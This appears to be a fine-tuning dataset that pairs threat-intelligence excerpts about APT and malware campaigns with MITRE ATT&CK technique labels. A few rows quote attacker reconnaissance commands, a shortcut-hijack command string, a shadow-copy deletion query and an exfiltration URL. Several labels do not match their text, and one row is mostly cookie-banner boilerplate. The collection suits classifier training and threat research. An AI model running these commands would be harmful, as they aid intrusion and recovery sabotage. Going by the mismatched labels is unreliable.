"The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"The Cloud Atlas implants utilize a rather unusual C&amp;C mechanism. All the malware samples we’ve seen communicate via HTTPS and WebDav with the same server “cloudme.com”, a cloud services provider. According to their website, CloudMe is owned and operated by CloudMe AB, a company based in Linköping, Sweden",['T1102 - Web Service'],fine_tune
"These websites hosted malware that would be side-loaded with a legitimate signed executable. These tactics are becoming increasingly common by malware authors in order to evade security products and controls. Two variants of the malware employed by C0d0so0 were discovered—one that used HTTP for command and control (C2) communications, and one that used a custom network protocol over port 22","['T1132.001 - Data Encoding: Standard Encoding', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"Gather all network configuration information and record to a file on disk in a folder created by the implant using the command: cmd.exe /c ipconfig/all &gt;&gt;""%s"" &amp; arp -a &gt;&gt;""%s"" where %s = &lt;file_path",['T1016 - System Network Configuration Discovery'],fine_tune
The overwritten code reads the ransom note string inside the MBR and sets it to appear on the display,['T1542.003 - Bootkit'],fine_tune
"Consent - Details - [#IABV2SETTINGS#] - About This website uses cookies . We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email. Kaspersky Lab products detect the different artifacts used in this campaign with the following verdicts: Trojan.Win32.Generic, Trojan-Downloader.Win32.Upatre and Backdoor.Win32.HyperBro. Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor (also known as EmissaryPanda and APT27). Also the C2 domain update.iaacstudio[.]com was previously used in their campaigns. Regarding Metasploit’s shikata_ga_nai encoder – although it’s available for everyone and couldn’t be the basis for attribution, we know this encoder has been used by LuckyMouse previously. Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we can´t prove they were related to this particular attack. The main C2 used in this campaign is bbs.sonypsps[.]com, which resolved to IP-address, that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version 6.34.4 (from March 2016) with SMBv1 on board",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Similar to its dropper, the binary seeks to evade sandboxes. In addition to the previously described trick EvilBunny performs hook detection to trick environments which hook time retrieval APIs. These are NtQuerySystemTime, GetSystemTimeAsFileTime and GetTickCount. Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two. This can only be the case if any of the three API’s return values is modified by a system monitoring solution, like a sandbox",['T1124 - System Time Discovery'],fine_tune
Anchor and older versions of Anchor_DNS implement the exact same self deletion routine using two sets of commands to ensure that the dropper is deleted once the malware was successfully deployed,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"CTU analysis of one of GOLD KINGSWOOD's campaign using SpicyOmelette (DOC2018.js) exposed additional sophisticated methods to compromise targets. A valid digital certificate was used to sign the malicious script. Windows Scripting Host supports the inclusion of digital signatures, and Figure 2 shows how the signature was appended to the script",['T1553.002 - Code Signing'],fine_tune
"There are multiple active campaigns currently delivering Emotet. The first is a simple email with a Word document attached. This example also shows the second type of campaign, leveraging a direct URL download instead of Office documents with macros that fetch the malware. Malicious code embedded in the malicious attachment functions as a downloader for the Emotet malware. When this code is executed, PowerShell is invoked, which reaches out to the Emotet malware distribution server, downloads the malicious payload, and executes it, thus infecting the system. In the screenshot above, you can see that the script is configured with multiple URLs that can be used to download the PE32 executable associated with Emotet. The malware is overwhelmingly hosted on compromised websites. These sites are then leveraged as random hosting locations for the campaigns to leverage. The initial URL is requested with a connection keep-alive in the header. Talos has observed recent runs of Emotet checking if the compromised system's IP address is currently found on many spam-related blocklists including those hosted by SpamCop, Spamhaus, and SORBS, among others",['T1027 - Obfuscated Files or Information'],fine_tune
"Historically, the group has employed the use of a series of phishing origin points, abusing access first at one university and then another",['T1583.001 - Domains'],fine_tune
"After uploading these files, take advantage of the pre-built queries within BloodHound. Queries include: viewing all domain administrators; viewing users with the most local administrator rights; or viewing computers with the most administrative user access. One of these queries gives you the ability to map domain trusts, as shown in Figure 3",['T1482 - Domain Trust Discovery'],fine_tune
"Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files",['T1204.002 - User Execution: Malicious File'],fine_tune
"In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\ partition by overwriting it with fixed data. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable. As a result, there were additional stages and additional payloads that could inflict more damage to end systems",['T1561.002 - Disk Structure Wipe'],fine_tune
"This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies",['T1585.002 - Email Accounts'],fine_tune
"This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. It places the resulting executable in an existing directory and creates a scheduled task that will launch it every 10 minutes. As can be seen in Figure 6, the decoded source code still has comments in it, illustrating the apparent sloppiness of Gamaredon’s operators","['T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The attackers configured multiple C2 servers for various stages, reusing several scripts we’ve seen in previous attacks by the group. Moreover, based on the insights so far, it was possible to figure out the relationship with other Lazarus group campaigns",['T1584.004 - Server'],fine_tune
"APT40 relies heavily on web shells for an initial foothold into an organization. Depending on placement, a web shell can provide continued access to victims' environments, re-infect victim systems, and facilitate lateral movement",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The actors have made some small changes, such as altering the variable names to avoid Yara detection and sending the results of the commands to the C2 in the URL instead of writing them to file. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Among the different files dropped by the latest versions of Ramsay we find a Spreader component. This executable will attempt to scan for network shares and removable drives excluding A: and B: drives,['T1080 - Taint Shared Content'],fine_tune
"These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware","['T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery', 'T1007 - System Service Discovery']",fine_tune
"1) Moving the (malicious) application into the /Users/user/Library/ directory 2) Executing this persisted copy, via the open command 3) Decrypting embedded strings that relate to file extensions of (likely) interest",['T1036 - Masquerading'],fine_tune
"TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors. TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated. With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below): LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” &amp;&amp; start “” “%s” ‘ TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger StartupAutorun The subsystem creates a LNK file in %STARTUP% ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory ShellAutorun Winlogon registry [HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon] Shell=”explorer.exe","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine. Execute the command,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. While we know the attackers used a custom dropper to install the back door, we do not know the delivery vector. Based on the amount of open-source information available on the target, it is feasible that a spear-phishing email may have been used. We found evidence that Suckfly used hacktools to move latterly and escalate privileges. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information",['T1003 - OS Credential Dumping'],fine_tune
"In order to download the additional modules, the malware uses the BITSAdmin tool, which this group has relied on for some years to avoid detection, since this is an allowlisted tool from the Windows operating system. By the end of September 2019, we started seeing a new version of Guildma malware being distributed that used a new technique for storing downloaded payloads in NTFS Alternate Data Streams in order to conceal their presence in the system",['T1105 - Ingress Tool Transfer'],fine_tune
"The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2",['T1010 - Application Window Discovery'],fine_tune
"NV.html, tracked by Microsoft as EnvyScout, can be best described as a malicious dropper capable of de-obfuscating and writing a malicious ISO file to disk. EnvyScout is chiefly delivered to targets of NOBELIUM by way of an attachment to spear-phishing emails","['T1204.002 - User Execution: Malicious File', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"In order to identify a particular mining session, a file containing the IP address of the machine and the day’s date is created by the idgenerator script and its output is sent to the C&amp;C server by the updater.sh script",['T1016 - System Network Configuration Discovery'],fine_tune
"One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros","['T1566.001 - Phishing: Spearphishing Attachment', 'T1027 - Obfuscated Files or Information', 'T1204.002 - User Execution: Malicious File', 'T1221 - Template Injection']",fine_tune
"First, they use COM object hijacking to make the malware persistent on the system even though the custom backdoor is installed only for a few hours. Second, the hex-encoded string is the C&amp;C used by the custom backdoor while in the Delphi backdoor the C&amp;C is embedded in the configuration","['T1573.001 - Symmetric Cryptography', 'T1546.015 - Event Triggered Execution: Component Object Model Hijacking']",fine_tune
Creates 2 objects in the AD forest Configuration partition. Updates the SPN of the computer used to include “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (AD Replication). More info on Kerberos Service Principal Names in the ADSecurity SPN section. Pushes the updates to DCs via DrsReplicaAdd and KCC,['T1207 - Rogue Domain Controller'],fine_tune
"The exported procedure HandlerW , responsible for parsing the arguments, shows that it is also possible to try to impersonate an anonymous token or try to steal another’s process token just for the execution of a command",['T1134.002 - Create Process with Token'],fine_tune
"Then, it reads the dropped file with the .db3 extension, which contains position-independent code, and uses CreateThread to execute its content",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver",['T1105 - Ingress Tool Transfer'],fine_tune
"Winnti malware handles outbound communications using multiple protocols including: ICMP, HTTP, as well as custom TCP and UDP protocols. Use of these protocols is thoroughly documented in the Novetta and Kaspersky reports","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1095 - Non-Application Layer Protocol']",fine_tune
Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers. This implant is a service DLL that can also run as a standalone process,['T1569.002 - System Services: Service Execution'],fine_tune
"DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id","['T1047 - Windows Management Instrumentation', 'T1490 - Inhibit System Recovery', 'T1490 - Inhibit System Recovery', 'T1490 - Inhibit System Recovery', 'T1047 - Windows Management Instrumentation', 'T1047 - Windows Management Instrumentation']",fine_tune
"In the cases where Sakula does not use a registry key for persistence, it attempts to set itself up as a service (see Table 2). It invokes itself by calling WinExec with the ""net start %s"" argument (without quotes), where ""%s"" is the service name",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The threat actor launched a series of reconnaissance commands to try to obtain and enumerate information about the compromised machine, network architecture, users, and active directory enumeration",['T1049 - System Network Connections Discovery'],fine_tune
"FireEye Research Labs, the intelligence behind our Mandiant Consultancy services, identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks. The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue",['T1203 - Exploitation for Client Execution'],fine_tune
"In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"One of the file path name combinations observed was ‘C:\ProgramData\Dacr\macrse.exe’, also configured in a Crimson “Main Client” sample and used for saving the payload received from the C2 when invoking the usbwrm command",['T1105 - Ingress Tool Transfer'],fine_tune
"In this case, we can see the binary installation path and local reconnaissance to determine which flavor of Linux the malware is running. This is followed by a number of Linux shell command style commands related to the malware establishing persistence",['T1082 - System Information Discovery'],fine_tune
"Command Number – a running index number to keep track of executed commands. If set to any number other than -1, the backdoor should proceed to execute the command, according to the Command ID. Command ID – can be one of the following commands: 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument. 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Also, on some infected computers we found a tool called the Winexesvc tool. The main difference is that the Winexesvc tool enables the execution of remote commands from Linux-based operating system. When the Linux binary “winexe” is run against a Windows server, the winexesvc.exe executable is created and installed as a service",['T1569.002 - System Services: Service Execution'],fine_tune
"CertPKIProvider.dll, tracked by Microsoft as “VaporRage” can best be described as a shellcode downloader. This version of VaporRage contains 11 export functions including eglGetConfigs, which houses the malicious functionality of the DLL",['T1105 - Ingress Tool Transfer'],fine_tune
"On other websites, different cloud storage solutions such as Amazon S3 or Google Drive were used to host Windows, OSX, and Android malware payloads","['T1583.006 - Web Services', 'T1102 - Web Service', 'T1608.001 - Upload Malware']",fine_tune
"Conclusion The DarkHydrus group carried out an attack campaign on at least one government agency in the Middle East using malicious .iqy files. The .iqy files take advantage of Excel's willingness to download and include the contents from a remote server in a spreadsheet. DarkHydrus leveraged this obscure file format to run a command to ultimately install a PowerShell scripts to gain backdoor access to the system. The PowerShell backdoor delivered in this current attack may have been custom developed by the threat group, however, it is possible that DarkHydrus pieced together this tool by using code from legitimate open source tools",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\Windows\Debug and C:\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence. Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"After collecting the data in a central directory, the attackers then used either a renamed rar.exe or 7z.exe to archive the files. NICKEL also frequently used keyboard walks as a password for their archived data collections. The following are examples of RAR archiving for exfiltration",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Distributing the ransomware using spear-phishing and weaponized documents - Bat-files downloading payloads from Pastebin and inject them into a process on the operating system - Compromising RDP and usage of script files and password cracking tools to distribute over the victim’s network - Compromise of Managed Service Providers and usage of their distribution software to spread the ransomware,['T1055 - Process Injection'],fine_tune
"Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&amp;C hostname which fits previously known Turla activity",['T1095 - Non-Application Layer Protocol'],fine_tune
The button would then lead to the download a RAR archive named Adobe_Flash_Install.rar. This archive was designed to fool the targeted user into infected themselves with a Cobalt Strike implant. Details on the contents of this file are included later in this report,['T1204.001 - Malicious Link'],fine_tune
"Oddly, the crooks decided to use a local web server exposed to the Internet via the free ngrok service—a reverse proxy software that creates secure tunnels—to collect the stolen data",['T1572 - Protocol Tunneling'],fine_tune
"The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&amp;C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&amp;C server",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"In between then and now there has been a lot of rumour and debate about all aspects of this attack with many truths and mistruths being carried in public. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Clear all system event logs. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. Potential attack scenario: When using this vulnerability the most likely attack vector used in this case is targeted emails containing legitimate looking PDF documents sent to high level employees",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
It runs the ipconfig command to gather information about the machine's network adapter configuration. It sends an HTTP POST request to the URL: hxxp://zeplin.atwebpages.com/inter.php and exfiltrates the ipconfig output gathered from the machine,['T1016 - System Network Configuration Discovery'],fine_tune
We identified a MacOS backdoor (detected by Trend Micro as OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed,['T1082 - System Information Discovery'],fine_tune
The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’. - A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1",['T1027 - Obfuscated Files or Information'],fine_tune
"The initial infection occurs via a weaponized Microsoft Excel (XLS) document delivered via compromised legitimate websites for which the URLs are most likely shared via email. The documents use Visual Basic for Applications (VBA) Macro code which, if enabled by the victim, starts an installation process consisting of multiple components that result in the plug-in loader payload being downloaded and executed","['T1204.001 - Malicious Link', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"Aria-body starts with gathering data on the victim’s machine, including: Host-name, computer-name, username, domain name, windows version, processor ~MHz, MachineGuid, 64bit or not, and public IP (using checkip.amazonaws.com","['T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery']",fine_tune
"yty”, the name we use for the framework, from the PDB path string. A “bot id” consisting of computer name, user name, and volume serial number separated by dashes",['T1082 - System Information Discovery'],fine_tune
"Once Shellex is called, it first passes each of the items in the config buffer to their own strings. Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists. If so, it opens it using service manager. If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe. Next, it creates the service and runs it","['T1012 - Query Registry', 'T1569.002 - System Services: Service Execution']",fine_tune
"The wiper could be configured to use a file to overwrite the files on the disk using the ‘F’ configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named ‘GRANT’, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5",['T1561.002 - Disk Structure Wipe'],fine_tune
"This single hack of Volusion allows them to receive credit card data from 3,126 online shops. From the previous skimming attack on the British Airways and Newegg websites, we know that Group 6 tried to register the domains of the exfiltration server to be similar to the victims’ domains. In this case, the domain of the exfiltration server is “volusion-cdn[.]com” — very similar to the valid domain “cdn3[.]volusion[.]com” from Volusion. Both old and current skimmers are written with jQuery, serialize the stolen data, and use the jQuery.ajax function to POST data to a remote server. Although the older skimmer is much simpler compared to the current one, it didn’t encode the stolen data or store the data in sessionStorage before the exfiltration",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"The string is visible within the unpacked Karagany binary and is not itself encrypted. Once the payload has been AES-encrypted, it is prepended with the IV value and Base64-encoded for transmission. Figures 4 and 5 show an example decode and decryption based on sinkhole data obtained by CTU researchers of a Karagany beacon payload",['T1027 - Obfuscated Files or Information'],fine_tune
"After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"If none of the C2 servers respond and the end of the configured hosts list is reached, the modulo operation returns zero, thus host_index is equal to zero and the backdoor waits for the number of milliseconds stored in the &lt;TimeLong&gt; registry key. In our case, this was set to one minute. Then, it starts again and tries to reach the configured C2 servers, again host-by-host, until one response. If a connection to one of the configured C2 servers was set up successfully, the backdoor stays in the inner while loop (C2 control loop) and checks for commands every &lt;TimeShort&gt; number of milliseconds. C2_GetCommand_ComHandler handles the communication with the C2 server. It leverages the Windows WinHttp API similar to this Microsoft example and receives the C2 command along with its parameters. The adversaries use SSL/TLS to encrypt the C2 traffic",['T1029 - Scheduled Transfer'],fine_tune
"In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Word droppers were using standard VBA macros to download the payload. The actor tailored the decoy contents to the targeted victims, using logos and themes relevant to the targeted company or using trending topics from their region and, in one instance, even mimicking the Palestinian authority","['T1082 - System Information Discovery', 'T1566.001 - Phishing: Spearphishing Attachment']",fine_tune
"m"": mode: net or local. local - encrypt local drives only and ignore network shares. h"": path to a file that contains specific hosts (names and IPs) to enumerate for shares. s"": IP address that the initial register message will be sent to",['T1016 - System Network Configuration Discovery'],fine_tune
"FIN7 developed evasive techniques at a rapid pace. Throughout 2017, FIN7 was observed creating novel obfuscation methods, and in some cases modifying the methods on a daily basis while launching attacks targeting multiple victims. Their development of a payload obfuscation style using the Windows command interpreter's (cmd.exe) native string substitution was so unique that FireEye dubbed it ""FINcoding. These methods inspired deep command line obfuscation research and the release of Daniel Bohannon's Invoke-DOSfuscation. Reference Table 2 and Table 3 for a selection of samples and their associated command line obfuscation techniques",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"The kill_unwanted function gets a list of running processes, compares each process with a encrypted list of “unwanted” programs. With our aforementioned breakpoint on the ei_str function, we can dump the decrypted strings, to ascertain the value of the “unwanted” programs","['T1057 - Process Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
"Charming Kitten has taken full advantage of this timing to execute its new campaign to maximum effect. Details Of The Attacks . Our examination of the acquired samples shows hackers generally use two main methods of “Sending Fake SMS” and “Sending Fake Emails” to execute their attacks. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity. Method #2: Fake Email . Another method used in this phishing campaign is sending fake emails with deceptive titles like “Merry Christmas, and sending note/book/photo and others”, which are usually sent by previously hacked emails. Figure 2 shows one of these phishing emails where the attackers cordially invite the target to open the link in the email’s body. For example, Figure 3 shows another fake email that was sent to the same victim a day after the initial email (Figure 2). Figure 3. A sample of fake email after sending the initial email to the target . Redirect Chain . Utilizing and weaponizing legal and credible services to hide destructive intent is one of the techniques used by hackers in some phishing campaigns. Redirection links initially help bypass the security layers in email services, and then provide the attackers more control to redirect the target to the final URL. As usual, we firmly suggest not to click on unknown links, to carefully review any URLs before entering credential information, and not to download and run unknown files on mobile, personal or work computers. It is important to note that the main cases mentioned in this report relate to the latest Charming Kitten’s phishing campaign and that this campaign has significantly intensified in recent days",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
The payload is a 32-bit executable file that is used to encrypt files on the victim’s system to extort a ransom,['T1083 - File and Directory Discovery'],fine_tune
SpeakUp’s persistence is ensured by using cron and an internal mutex to ensure only one instance remains alive at all times,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
"In January, we saw a variant of the disk-wiping KillDisk malware hitting several financial institutions in Latin America. Last May, we uncovered a master boot record (MBR)-wiping malware in the same region",['T1561.002 - Disk Structure Wipe'],fine_tune
"To make detection and analysis harder, QakBot encrypts its strings and decrypts them at runtime before use. Once the QakBot execution logic is finished using a string, it will immediately delete the string from memory. An example of this can be seen in Figure 6 below, which shows QakBot decrypting a string containing the value for lpProcName passed as a parameter to the GetProcAddress API call. The selected function, which has been labeled in IDA Pro as, “oc_clear_mem” deletes the string memory right after it retrieves the process address",['T1106 - Native API'],fine_tune
"The SombRAT loader recovered in this incident was a 64-bit variant that allowed the malicious actor to remotely download and load executable dynamic-link libraries (DLL) plugins on the affected system (Ingress Tool Transfer [T1105]). The loader used hardcoded public RSA keys for command and control (C2) sessions (Command and Control [TA0011]). The C2 communications were encrypted using Advanced Encryption Standard (AES), resulting in a Secure Sockets Layer tunnel with the threat actors (Encrypted Channel: Asymmetric Cryptography [T1573.002",['T1027 - Obfuscated Files or Information'],fine_tune
